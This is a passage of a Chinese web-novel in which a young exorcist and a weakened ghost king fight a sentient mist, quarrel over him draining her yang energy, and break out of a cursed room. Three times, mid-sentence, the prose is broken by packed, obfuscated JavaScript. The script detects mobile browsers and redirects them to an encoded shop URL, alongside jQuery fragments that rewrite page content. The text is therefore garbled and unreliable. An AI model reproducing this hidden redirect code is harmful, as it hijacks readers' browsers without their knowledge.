与此同时,周边的温度在快速降低,她全身上下像是裹了层厚厚的冰霜一样,裸露部位更是冷得瑟瑟发抖。 还有股不知从何处飘来的阵阵阴风,非但不能吹散这股难闻的白雾,还让她觉得手脚愈发冰凉,好似身处皑皑白雪之中。 她也顾不上气味难闻,站立的身体急忙蜷缩在一起,双手合十吹气取暖。 可是不够,还是不够。 她好冷! 没想到,在这个鬼地方,痛苦并不是最难挨的,倒是这冰冷刺骨的寒意,更让她觉得受折磨。 又冷又臭,即使她拼命甩袖挥散雾气,也是无济于事。那雾气诡异得很,犹如长了眼睛一般,死死盯着她的动向,挥散又重新聚集,灵活地钻入她的口鼻之中。 甚至还愈演愈烈,庞大的雾气汇聚成手的形状,直奔柳若璃脆弱的脖颈而来。 此时,她已无力反抗,虚脱地单膝倒地。 那只手已近在眼前,只需微微用力,便能让她丧命于此。 她艰难地抬手阻挡,只听“咔擦”一声,巨手纷纷被拦截斩断,顷刻间灰飞烟灭。 就在此时,少年轻扬的声音传入她耳中。 “多疑的笨丫头!” 贺铭渊正站于她身前,微微俯身,上扬的眼尾里是藏不住的笑意,似是在无情嘲笑她:“我都说了,我是来救你的,你还不信。‘’ 柳若璃咳了一声,冷眼斜视面前之人:“我又快死了,这是哪门子的救法?” 突然之间,一股暖流源源不断地涌入她的身体,原本劳累的身子正在渐渐恢复力气。 循着源头探去,竟是贺铭渊在为她施法。 她心中有些讶异,没想到,这个讨厌鬼竟会真的救她! 诡异的雾气仍在攻击,贺铭渊挡在她身前,此时此刻,二人面面相对目视彼此。 因此,柳若璃能清楚地瞧见他猛地吐出一口黑血,可即便这样,他也并未停止施法的动作。 暖流在慢慢变弱,贺铭渊亦是。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059192|194974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就在他又一次单手斩雾后,污血从他的七窍缓缓流出,一点一滴垂直落地。 可即使如此,在外人看来,他俊美的面容仍未受到任何影响,反而还衬得他愈发破碎,莫名有一种清瘦贵公子的感觉。 不仔细观察,还不能发现他的手臂在轻微颤抖,他死死皱着眉头,似是在忍受极大的痛苦。 柳若璃不是没有怀疑过,他在使苦肉计。 可是,他脸上忍痛的表情极为真实,压根不像是在演戏。 “贺铭渊,我已经恢复了,你省点力气对付敌人吧。” 只见他闷声又吐了口血,轻声道:“不早说。” 看在他救了自己一命,柳若璃难得没有吭声呛他,只是起身站在他身侧,“别忘了,我们可是盟友,与其逞强孤军奋战,倒不如联手杀敌破局。” 她大力活动手腕脚腕,眼里冒出浓浓的杀气:“等我逮到花蝴蝶,我定要先揍她一顿。” 雾气嚣张地兵分两路,一方化成狗的嘴,追在柳若璃屁股后面跑。一方化成巨人,与贺铭渊激烈厮杀。 跑了许久,她忍不住大喘气。重生八回,她虽不能完全摸清醉仙楼布局,但窗户的大致方位还是摸得清的。 她朝着印象中的方向跑,隐约之中竟当真看见窗户,正欲大力推开,谁料就被雾气化形而成的藤曼缠住。 看来她猜对了! 左手早早攥紧的发簪,趁机一把投掷过去。 “扑哧——” 薄薄一层的纸窗瞬间破开一个洞。 冷冽的风吹进来,雾气当真消散些许。起码现在,她能看清周边物品,不用担心磕磕撞撞。 她冷眼望向剩余雾气,咬破右手食指,凭借模糊的印象,画出一道土行符。 雾气五行属水,自是得用土克水。 可她进来的并不是真身,鲜血在此的威力骤减,凭她一人并不能完全驱散这白雾。 贺铭渊离她的距离有些远,情急之下她大喊:“贺铭渊,到我这来!” 一瞬之间,他似已明白她的意图,疾步朝她奔来。 两人皆朝彼此奔来,距离越来越近、越来越近。 只差一步,他们便会撞到彼此,咫尺之近的距离,对方脸上细微的绒毛、精致的五官清晰可见、甚至还能闻到身上的味道。 最后一刻,贺铭渊抓紧柳若璃的衣袖。 就是现在! 二人同时拐弯,雾气躲闪不及,撞到一起。 柳若璃轻声念咒,手中符咒金光大闪,随之而来的是地面的剧烈晃动。 无数土壤坡地而出,纷纷冲向那团白雾。 光凭她的那点灵力,并不能持续施咒。眼下,她的额头流下冷汗,已是强弩之末。 这时,后背涌入一股暖意,是贺铭渊在给她输送灵力。 体内干涸的丹田瞬时又滋生出一股强大的灵力,好似一股清甜的甘泉汇聚全身。 当柳若璃睁开双眼时,眼前雾气已被土壤尽数淹没、没了活物气息。 还未等她冷静一会儿,只听“扑通”一声,贺铭渊昏倒了! 他的黑瞳在一点点被猩红所吞噬,一张苍白的脸上青筋暴起,小虎牙不断增长进化成尖锐的獠牙,就连他的指甲也尽数变成黑色。 同当初疯癫的花蝴蝶一模一样! 贺铭渊如今的情况并不好受,恶鬼不能踏入其他恶鬼的怨念空间,一旦踏入法力骤减,就连他这个鬼王也不例外。 他还保持着一丝清醒,喊道:“柳若璃,你可害惨我了!” 11. 吸取阳气 柳若璃猜测道:“莫非,这怨念空间不仅对凡人有限制,对恶鬼亦是,连你这个鬼王也不列外?” “怎么,你想趁乱收了我?” “你怕是没这个本事。” 贺铭渊正歪头望她,此刻他倒在地上,勉强睁开一只眼,丝毫不见初见时的威风。 纵使狼狈成这副模样,他的语气亦不见任何变化,还是如此咄咄逼人。 她笑道:“看来,我猜的没错。” “鬼王大人,现如今你虎落平阳,还装腔作势给谁看?” “你现在自身难保,还能对我做什么?” “吸光你的阳气。”贺铭渊缓慢坐直了身子,单手靠膝撑着脑袋,混沌的眼里充满渴望,明明蠢蠢欲动却又克制欲望,“柳若璃,这不是玩笑话。” 此话一出,柳若璃面上笑容顿时僵住。 她倒是忘了,恶鬼重伤自是得吸取凡人阳气,眼下她便是一个活生生的食物。 不由得后退一步,急声道:“我们可是盟友,你不能这么做。” “我不会吸你的阳气。” 柳若璃还未松口气,就听见贺铭渊轻声道:“现在是不会,昏迷后却会。” 所以,这两者究竟有什么区别? 他收起平日里的散漫,取而代之的是极为严肃的神色,“我劝你,待会千万、千万不要靠近我。” “更重要的是,千万不要让我吸走你的阳气!” “记住了吗?”他忍不住咳嗽一声,“你寻个地方躲起来,不要让我找到你。” “我撑不住了!” “快走!!!” 未等贺铭渊话落,柳若璃就头也不回地跑了。 那边花蝴蝶还未找到呢,这边好好的一个盟友变敌人,她可真是倒了八辈子血霉。 眼下还能怎么办,只能死命跑呗。 厚重的大门关得严严实实,她一推门好似有千军万马在外顶住,哪怕使出浑身力气,也根本推不动。 回头一看,贺铭渊披头散发,猩红着双眼,已是完全失去意识,正直勾勾地盯着她,行走间如鬼魅般快得摸不清踪影。 柳若璃不过眨了一下眼睛,他已闪到身前,歪着脑袋张开獠牙,对着她的肩膀就要一顿乱啃。 好一个乱咬人的疯狗! 她及时侧身,獠牙险些入肉,但也刮了一个小口。 贺铭渊的獠牙也沾上了她的鲜血,他的舌尖轻轻舔舐,下一刻却像开水烫到嘴似的,舌头还不受控制,直挺挺地伸出嘴外,止不住地哈气。 双手弯曲、五官扭曲的模样跟个憨傻痴儿没甚区别。 忽略此刻危险,柳若璃忍俊不禁。 怪不得贺铭渊着急让她跑,原来是怕丢脸。 听到笑声,贺铭渊停止动作,呆呆地望着她,没一会儿似是觉得尴尬,垂下脑袋嘴里发出哼哧声。 不知是不是柳若璃出现了错觉,方才对视的那一刻,她竟觉得贺铭渊生了双水汪汪的大眼睛,不过眨巴几下眼,莫名觉着楚楚可怜。 但是,这当然是她的错觉。 因为,转身的功夫,贺铭渊又发起攻势,如扑棱蝴蝶般扑过来。这次,他学聪明了,收起獠牙不敢再轻易咬她。 转头,一只手从背后锁喉,另一只手牢牢桎梏住她的腰,鼻子则警惕地嗅着她身上的气味,闻到飘来的一股淡香,嫌弃地撇了下嘴。 两人离得太近了,身体完全贴在一起,滚热的、寒冷的体温,互相都能感知到。 可是,贺铭渊的长甲过于尖锐,一个不留神没控制好力度,直接戳进柳若璃的皮肉之中,当他反应过来时,鲜血已经渗透他的指甲。 他痛得立马松手。 这对柳若璃而言,不过皮肉之伤。可对法力大减的贺铭渊而言,无异于撕心裂肺之痛。 经历两次痛苦之后,他终于不敢再轻举妄动,长甲也乖乖收好,恢复到正常长度。退到几米之外,不死心地看着柳若璃,意图瞄准机会再次进攻。 瞧他这怂样,柳若璃略一思忖,机会难得,要不要收了这傻鬼。 可惜,这想法不切实际,外患未解,怎能内讧。 也不知他什么时候能彻底清醒,要不扇他两个嘴巴子,说不定一下子就气醒了。 对策还未想出来,这蠢货又冲过来,一把将她扑倒在地。 柳若璃顿感后脑勺摔得眼冒金星,身上之人更是压得她不舒服,刚睁眼那蠢货的脑袋就凑过来,和她大眼瞪小眼。 怎会回事,此情此景和初遇时一模一样! 她竟然在同一个人身上以相同的姿势栽了两次,忆起这几日一言难尽的遭遇,压抑的心情彻底爆发,不管不顾地大声宣泄。 “贺铭渊,你到底要干嘛?你从一开始,就掐住我的软肋,想尽办法引诱我,我不知道你的目的,为了保护我的家人,还是违背天师法则,义无反顾与恶鬼结盟。因为你,我浪费时间留在无妄城;因为你,我被拉进怨念空间受尽折磨;因为你,我被压倒了两次,很痛很痛。” “我以为你实力强大,可以助我留开这个鬼地方,可瞅瞅你现在这幅傻样,敌我不分,只会拖我后腿。你知不知道,这是赤裸裸的欺诈,我要和你解除盟约。若我出不去,你也甭想出去,我拼了这条命也要灭了你。” 泪水在柳若璃的眼眶里打转,模糊了她的视线。突然之间,贺铭渊的脸在她的视野里无限放大。 他没有张开獠牙,而是闭紧嘴唇、慢慢地靠近、轻轻吻向她眼角滑落的一滴泪上。 是好奇的、真诚的、温柔的一个吻,蜻蜓点水般一触即离,不带一丝一毫世俗间的欲望。 他笨拙地张口说话,声音低哑极为青涩:“别哭!” 柳若璃瞬间懵了,脖颈后知后觉地浮出一抹红晕,随后不断往上蔓延、攀爬,在她的脸颊、耳根染上红霞。 回神后,抬手就是一巴掌,几乎是咬牙切齿地骂道:“混蛋!臭流氓!登徒子!你不得好死!” 他怎么敢、怎么敢吻她。 她气得歇斯底里:“快从我身上滚下去!” 或许是被柳若璃身上的气势吓到,抑或许是对她的血有阴影,总之贺铭渊竟真得乖乖松开了禁锢,站在一旁角落,只是视线一直未从柳若璃身上离开。 一想到自己脸上可能有讨厌鬼的口水,柳若璃就觉得晦气,狠狠擦了好多下,直至那块皮肤都泛红了,心中还是很膈应。 虽然她很想将贺铭渊撕成粉碎,但是大局为重,她只能暂时先放下芥蒂,找到花蝴蝶逃出去,届时再好好清算也不晚。 她指着贺铭渊,没好气道:“你,过来!” 贺铭渊站到她身前,眼睛亮晶晶的很是碍眼,她随意扫了一眼,不耐烦地问道:“你的发带呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080169|194974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “披头散发,成何体统。” 他摊开手心,露出一团皱巴巴的红色丝带,还向前走了一步。 见状,柳若璃大喊:““你干吗?” 他没有停下脚步,捧着发带一直往前走,柳若璃反手又给他一巴掌,他才委委屈巴巴停下,解释道:“你帮我,我不会。” 柳若璃使劲揪住额间秀发,拼命压抑内心的火气,劝说自己不要同三岁痴儿计较。 她一把扯过发带,很是粗暴地抓着贺铭渊的长发,发尾有好几个死结,她冷脸扯断了。 “痛!” “闭嘴,再痛也忍着。” “好。” 绑上发带,眼前的讨厌鬼才多了几分人样。柳若璃指着铁门,命令道:“劈开大门。” “不行。” “什么?” 柳若璃忍无可忍,质问道:“你已经弱得连门都劈不开了?要你还有何用?” “不是的,我饿了。” “我给你支个招,要么你什么也不吃,安分一点,跟在我屁股后面,不要突然袭击我。要么我把你的胳膊卸下来,你将就吃一下,若是还觉得饿,我再把你的两条腿卸了,你觉得哪个更好?” 贺铭渊沉默了,随即眼巴巴地望着柳若璃,很显然他哪个都不想选。 柳若璃顿感不妙,果不其然听到他道:“我要吸阳气,才有力气劈开大门。” 她脑袋瓜子顿时嗡嗡作响,都快怀疑讨厌鬼转变如此之大,会不会就是变着法子想吸干她的阳气。连忙摆手,坚决拒绝道:“不行,绝对不行。” “阳气给你了,我怎么办,死了你负责?” “只吸一点点,不会有事。” “恶鬼为了吸阳气说的每一句话,都不可信。” “我不停,你拿血伤我。” “……” 天呐!听听!为了吸阳气,逼得一个话少的傻鬼说了这么多句话。 简直是细思极恐。 柳若璃扶额苦笑道:“我真是欠你的。” 罢了罢了,追究源头,也是贺铭渊给她渡了灵气,就当她还回去得了。不过几口阳气,回到京城补补精气就好,就当是被饿狗咬了一口。 她认命般地喊讨厌鬼上前,面无表情道:“我给你吸。” 只见贺铭渊喉结滚了滚,迫不及待地搂住她的腰想要吸阳气,结果手被她一巴掌扇走了。 他不明所以,柳若璃红着脸,暴跳如雷:“你吸就吸,动手动脚可不行。” “还有,你准备吸哪?” 贺铭渊的目光盯着她微启的红唇,吸哪不言而喻。 柳若璃当即抬手掩唇,慌忙道:“这里不行。” 傻鬼挠头不解:“为何?” 她眼里的火都要喷出来:“不行就是不行。”甚至有些难以启齿,“不能嘴碰嘴,不接受就饿死你。” 傻鬼委屈:“可是,吸阳气只能用嘴吸啊!” 她叉腰蛮横道:“我不管,你给我找出第二种方法,只要不碰嘴,其他什么都可以。” 话音刚落,贺铭渊高大的身影将柳若璃完全笼罩,她吓了一跳,踉跄着后退了一步。 偏偏贺铭渊拽着她的衣袖,又将她拉了回来,目不转睛地盯着她的嘴,他吞了吞口水,垂涎道:“还有一种,嘴对嘴,隔空吸,你可以接受吗?” 12. 破门而出 区别好像不大! 柳若璃谨慎地问道:“这个隔空的距离是多少?”双手不停比划,”一米?三米?还是五米?” 贺铭渊道:“越近越好。” 她不能接受:“什么!五米还不够近?!” 一听到五米,贺铭渊就蹙紧眉头,满脸不乐意道:“距离越近,阳气纯度越高,隔空吸已是无奈之举,距离再远跟没吸无甚区别。” “低头。” 他愣住,不明所以。见他没有反应,柳若璃强势地压住他的肩膀,迫使他与自己视线齐平,四目相对之间,她幽幽问道:“吸我的阳气,难不成你还想要我踮脚?” 贺铭渊拼命摇头,傻傻地望着柳若璃,咽了咽口水,问道:“现在,我可以吸吗?” “可以。”柳若璃视死如归般合上双眼,谁料那傻鬼迟迟没有动作,方才猴急的是他,如今磨蹭的也是他。等得不耐烦了,睁开双眼,质问道:“还不吸?” 贺铭渊道:“你很紧张。”他一脸小心翼翼的模样,落在柳若璃眼里,竟有几分可爱。 “噗——”之前的鬼王有多威风,现在的鬼王就有多幼稚,简直是天差地别,她忍不住哈哈大笑。 反差如此之大,不知其他恶鬼见到,会不会惊掉下巴。 她笑完,紧绷的身子倒是放松些许,还有心情调侃道:“身为被吸阳气的小白鼠,谁不紧张?” “我会轻点的。” “闭嘴,要吸快吸,吸完好早点出去。” “那我真的开始咯?” “嗯!” 柳若璃这次没有睁眼,她得时刻盯着贺铭渊,万一他不守承诺吸上头了,又或者是轻薄于她,她闭眼可什么也看不见,那就妥妥吃大亏了。 贺铭渊在靠近,越来越近,两人的唇瓣近在咫尺,眼前少女呼出的每一口气,于他而言都是致命的诱惑,他几乎是强忍着毁灭性的冲动,才未再靠近一步吻上那张红唇。 柳若璃感知到贺铭渊的不可控,双臂弯曲放于胸前,防止他的下一步侵略。下一刻,他便不可抑制,捏住她的肩膀。 而吸阳气,才刚刚开始。 柳若璃只觉得好热,浑身上下像囚在滚烫的火炉里不断翻烤,她粉白的脸颊上汗流不止,体内的真气正源源不断地从口中涌出,毫无保留地传送给身前的饿死鬼。 本就虚脱的身子招架不住,下意识地想要合上嘴巴,却被贺铭渊的指腹拦下。 他的眼神早已迷离,用水汽氤氲的眼眸失态地望着面前的少女,他疯狂地迷恋上这股热流,陷入了吸疯的状态,为了阻止柳若璃闭嘴,竟不管不顾地伸出食指塞进她的嘴里。 尽管这会让他吸到的阳气变少,可吸食到的阳气是如此美味,完全让他丧失理智,嗜血的冲动愈发强烈,他不再满足于这少得可怜的阳气,他还想要拥有更多。 比如,完完全全占据眼前的少女。 他情不自禁地缓缓靠近,迫不及待地想要在柳若璃身上,烙上属于他的印记。 危险迫在眉睫,柳若璃狠狠咬上他的食指,可是这点痛,于他而言不过挠痒痒,甚至似乎还有些享受,舒服地发出令人羞耻的闷哼声。 大变态! 说好的吸一点点阳气,结果完全不顾她死活,她的腿都快酸痛得站不住了,这哪是一点点。 不守诺言,得寸进尺。 这饿死鬼还明目张胆地拉近二人之间距离,两人的额头几乎都要碰到一起,柳若璃毫不留情踩了他一脚,双手大力推开他。 可是明明已经退出他的禁锢之中,她仍感觉到自己的阳气在被一点点掠夺。 怎么回事? 该不会,恶鬼一旦开始吸阳气,就只能由他说结束吧。 可瞧贺铭渊那副意犹未尽的模样,怕是一时半会停不下来,那她的阳气,岂不是会被这饿死鬼吸干! 柳若璃顿时惊恐万分。 她不敢离贺铭渊太近,怕被吸走更多的阳气。只有离得远一点,他吸阳气的速度才会变慢。 贺铭渊在后面追,柳若璃在前面跑。 不到万不得已,她不想放血伤他,身子本就虚了,再放血就更虚了,若他没有清醒,岂不是得不偿失。 她一边跑,一边往后大喊:“贺铭渊,你是万鬼之王啊,你不是饿死鬼,你清醒点!” 柳若璃一跃便是一大步,身轻如燕得根本看不出已是乏力状态。 从小到大,别的武功她并不怎么用心学,唯有轻功她学得最认真,至于为何轻功学得最好,是因为当时她满脑子里想的都是一句话—— 打不过就跑。 没成想,在今日一语成谶。 柳若璃狼狈得犹如丧家之犬般被饿死鬼追着跑,两个人绕着屋子追逐了一圈又一圈,她实在是跑不动了,只好扶着墙气喘吁吁。 她的体力已消耗殆尽,现在根本跑不过他,得想办法先让他冷静一下。她环顾四周,想找个趁手的玩意,说不定能一举敲晕他。 不经意间扫了一眼大门,瞬间想到一个两全其美的办法。 “贺铭渊,我在这。”她跑到门口,嚣张地挥手示意。 此刻她的声音,于贺铭渊而言,无异于逃跑的猎物在挑衅,他顿时眼中一片冰冷,莽撞而又果断地直奔她而去。 速度之快,完全没有减速的迹象,正中柳若璃下怀。 就在贺铭渊的手即将触碰到柳若璃的衣袖之际,她的嘴角扬起坏笑:“傻鬼,你中计了!” 只见她极为轻松且惬意地闪到一旁,而贺铭渊已刹不住,一头撞上铁门。 “砰——”大门被撞飞了! 剧烈的声响传入柳若璃的耳旁,强烈的撞击卷起一地灰尘,迷迷糊糊之中,她望见贺铭渊的身影。 红色丝带随风飘扬,而他始终屹立不倒。远处响起一道少年音,腔调同往常一样,充满了漫不经心与玩世不恭。 “柳大小姐,拜你所赐,我的新衣服脏了。” 直至灰尘尽数散去,这才现出他的全部真容,赤红的衣角染上一层灰,衣裳的主人正眯着眼睛望她。 柳若璃下意识地看他头,撞到如此厚实的铁门,他的头还是完好无损。 内心由衷感慨,他的头可真硬! 可是很快,她就发现了一个很严峻的问题。 她的阳气仍在减弱! 为什么?明明贺铭渊已经清醒了,为何她的阳气还在不断往外流失?莫非,贺铭渊还在吸她的阳气? 她大步向前,定睛望去,从上到下扫视一圈,当真发现这小子的表情不对劲。 他的瞳色还残留着一点猩红仍未散去,虽然极力掩饰,但是柳若璃仍能看出他的胸膛在轻微浮动,似是在抑制对阳气的渴望。 柳若璃笑了。 原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085667|194974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,贺铭渊当真在觊觎她的阳气。 且此时此刻再也克制不住自己,明知不可为却还是在疯狂吸取她的阳气。 不可一世的鬼王大人,似乎被她找到了弱点。 当真是意外之喜啊! 她挑眉道:“鬼王大人,我只剩一口阳气啦。” “你还不愿意放过我吗?” 贺铭渊并未回应她,只是狠狠瞪了她一眼,视线瞧到她的嘴唇时竟着急忙慌地瞥开,好似有洪水野兽在后面追着他跑。 过了好一会,只见他紧握拳头,额上冷汗狂流不止,柳若璃这才感觉阳气不再往外泄。 “你是不是该好好跟我解释解释,为何我会在吸你的阳气?为何我的两边脸都有红印子?” “这不能怪我,要怪就得怪你意志不够坚定,这么小一间屋子,我躲能躲去哪里,是你非要吸我阳气,是你非要轻薄于我,我能有什么办法?” “我当时极为虚弱,你的血又克我,你会乖乖任由我吸你阳气?” “你现在是以什么身份质疑我?是关键时刻拖我后腿的盟友?还是高高在上的鬼王?莫非,你还怀疑是我故意给你吸自己的阳气,难不成我是大傻子,伤害自己便宜你,我图什么?” 柳若璃现在完全站在道德至高点,怼得贺铭渊哑口无言。 “你可知你现在的模样,无能狂怒,得了便宜还卖乖。你以为,吸了我的阳气,不用付出什么?我告诉你,想得美,你吸了我如此之多的阳气,我还未同你算账,你倒是狗叫上了。” “吸了我的阳气,你就得应允我一个要求。” “你发疯时,就已同我约法三章,你不答应也得答应。”这番话自然是柳若璃诓他的,反正他也不记得发疯过程,倒不如找个借口约束他,免得他想方设法推脱。 贺铭渊怀疑道:“方才之事,我不记得了,我怎知你有没有扯谎?” 他的底气明显不足,像是在故意试探。 瞧瞧,柳若璃就知他不会轻易相信,她口中所言九分真一分假,常人听来不知细节自是会全信。 柳若璃拿出毕生演技,冷笑道:“扯谎?你是说我会不顾自身安危,如此不求回报地给你吸阳气吗?你堂堂万鬼之王,听听你自己说的话,是不是滑天下之大稽,可笑不可笑!” 闻言,贺铭渊沉默片刻,原本惨白的脸变成铁青色,许是柳若璃扇巴掌时下手重了些,五指红痕仍清晰地印在他脸上,青中带红显得愈发狼狈不堪。 明明腰杆挺直,还是多了几分挫败之感,只听他道:“既是我承诺之事,定会践行。” 柳若璃心中暗喜。 “只要是我力所能及之事,定不反悔。” 柳若璃立马抱拳道:“鬼王大人英明。” 识时务者为俊杰,眼前这位鬼王瞧着憋屈得很,她也不是不能拍下马屁,说些好听的话哄哄他。 可惜,他似乎并未体会到柳若璃的良苦用心。相反,他更郁闷了。 两人从屋子走到大堂,一路走来,他皆是愁闷苦脸、沉默不语。 须臾间,周围流动的空气彷佛冻结了一般,压抑地令人喘不过气来。 讨厌鬼不说话,柳若璃倒是毫不在意,一个人自言自语、乐得自在。 直到,她看见满屋子的白衣女子时,才再也笑不出声。 这里面,究竟哪一个才是真正的花蝴蝶?